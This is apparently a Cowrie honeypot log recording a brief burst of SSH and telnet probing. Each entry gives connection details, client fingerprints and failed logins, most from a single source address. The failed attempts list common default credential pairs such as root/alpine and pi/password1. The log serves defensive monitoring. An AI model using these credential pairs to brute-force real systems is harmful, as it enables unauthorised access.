{"eventid":"cowrie.session.closed","duration":36.096951961517334,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:17.118296Z","src_ip":"172.81.62.90","session":"4ed65cfba862","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":57892,"dst_ip":"10.17.0.5","dst_port":22,"session":"75d48296b7e8","protocol":"ssh","message":"New connection: 194.59.206.2:57892 (10.17.0.5:22) [session: 75d48296b7e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:19.950273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:19.954323Z","src_ip":"194.59.206.2","session":"75d48296b7e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:20.047537Z","src_ip":"194.59.206.2","session":"75d48296b7e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:20.146088Z","src_ip":"194.59.206.2","session":"75d48296b7e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":49970,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5bdb1a3b034","protocol":"ssh","message":"New connection: 141.11.88.14:49970 (10.17.0.5:22) [session: b5bdb1a3b034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:20.237493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:20.443241Z","src_ip":"141.11.88.14","session":"b5bdb1a3b034","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:20.447569Z","src_ip":"141.11.88.14","session":"b5bdb1a3b034","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39472,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d3988ecdeb2","protocol":"telnet","message":"New connection: 172.81.62.90:39472 (159.203.135.109:23) [session: 4d3988ecdeb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:21.025858Z"}
{"eventid":"cowrie.login.failed","username":"demo","password":"123456","message":"login attempt [demo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:22.970371Z","src_ip":"141.11.88.14","session":"b5bdb1a3b034","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:24.268234Z","src_ip":"141.11.88.14","session":"b5bdb1a3b034","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":12890,"dst_ip":"10.17.0.5","dst_port":22,"session":"73336bb6f6ef","protocol":"ssh","message":"New connection: 141.11.88.14:12890 (10.17.0.5:22) [session: 73336bb6f6ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:29.576511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:29.690152Z","src_ip":"141.11.88.14","session":"73336bb6f6ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:29.694380Z","src_ip":"141.11.88.14","session":"73336bb6f6ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456789","message":"login attempt [user/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:30.860501Z","src_ip":"141.11.88.14","session":"73336bb6f6ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:32.061077Z","src_ip":"141.11.88.14","session":"73336bb6f6ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":43854,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d3e3ab88a41","protocol":"telnet","message":"New connection: 172.81.62.90:43854 (159.203.135.109:23) [session: 0d3e3ab88a41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:33.183539Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":43858,"dst_ip":"159.203.135.109","dst_port":23,"session":"045b67ba166e","protocol":"telnet","message":"New connection: 172.81.62.90:43858 (159.203.135.109:23) [session: 045b67ba166e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:34.272531Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":12960,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cfc49d19de3","protocol":"ssh","message":"New connection: 141.11.88.14:12960 (10.17.0.5:22) [session: 7cfc49d19de3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:37.234509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:37.294884Z","src_ip":"141.11.88.14","session":"7cfc49d19de3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:37.340458Z","src_ip":"141.11.88.14","session":"7cfc49d19de3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"P@ssw0rd","message":"login attempt [postgres/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:37.678363Z","src_ip":"141.11.88.14","session":"7cfc49d19de3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:38.791356Z","src_ip":"141.11.88.14","session":"7cfc49d19de3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":48998,"dst_ip":"10.17.0.5","dst_port":22,"session":"26c19260fc32","protocol":"ssh","message":"New connection: 141.11.88.14:48998 (10.17.0.5:22) [session: 26c19260fc32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:44.519854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:44.552976Z","src_ip":"141.11.88.14","session":"26c19260fc32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:44.631445Z","src_ip":"141.11.88.14","session":"26c19260fc32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:44.968670Z","src_ip":"141.11.88.14","session":"26c19260fc32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:46.145647Z","src_ip":"141.11.88.14","session":"26c19260fc32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":57878,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d316dcb6935","protocol":"telnet","message":"New connection: 172.81.62.90:57878 (159.203.135.109:23) [session: 5d316dcb6935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:49.386408Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":13460,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0c831a384c0","protocol":"ssh","message":"New connection: 141.11.88.14:13460 (10.17.0.5:22) [session: d0c831a384c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:51.809404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:51.919691Z","src_ip":"141.11.88.14","session":"d0c831a384c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:51.980220Z","src_ip":"141.11.88.14","session":"d0c831a384c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alpine","message":"login attempt [root/alpine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:52.493673Z","src_ip":"141.11.88.14","session":"d0c831a384c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:53.710447Z","src_ip":"141.11.88.14","session":"d0c831a384c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":37098,"dst_ip":"10.17.0.5","dst_port":22,"session":"24da244482b6","protocol":"ssh","message":"New connection: 141.11.88.14:37098 (10.17.0.5:22) [session: 24da244482b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:00.030735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:00.195551Z","src_ip":"141.11.88.14","session":"24da244482b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:00.199132Z","src_ip":"141.11.88.14","session":"24da244482b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"password1","message":"login attempt [pi/password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:00.753536Z","src_ip":"141.11.88.14","session":"24da244482b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.29909920692444,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:01.324850Z","src_ip":"172.81.62.90","session":"4d3988ecdeb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:01.911995Z","src_ip":"141.11.88.14","session":"24da244482b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":39410,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f987768e51c","protocol":"ssh","message":"New connection: 141.11.88.14:39410 (10.17.0.5:22) [session: 2f987768e51c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:07.971813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:07.985494Z","src_ip":"141.11.88.14","session":"2f987768e51c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:08.126177Z","src_ip":"141.11.88.14","session":"2f987768e51c","protocol":"ssh"}
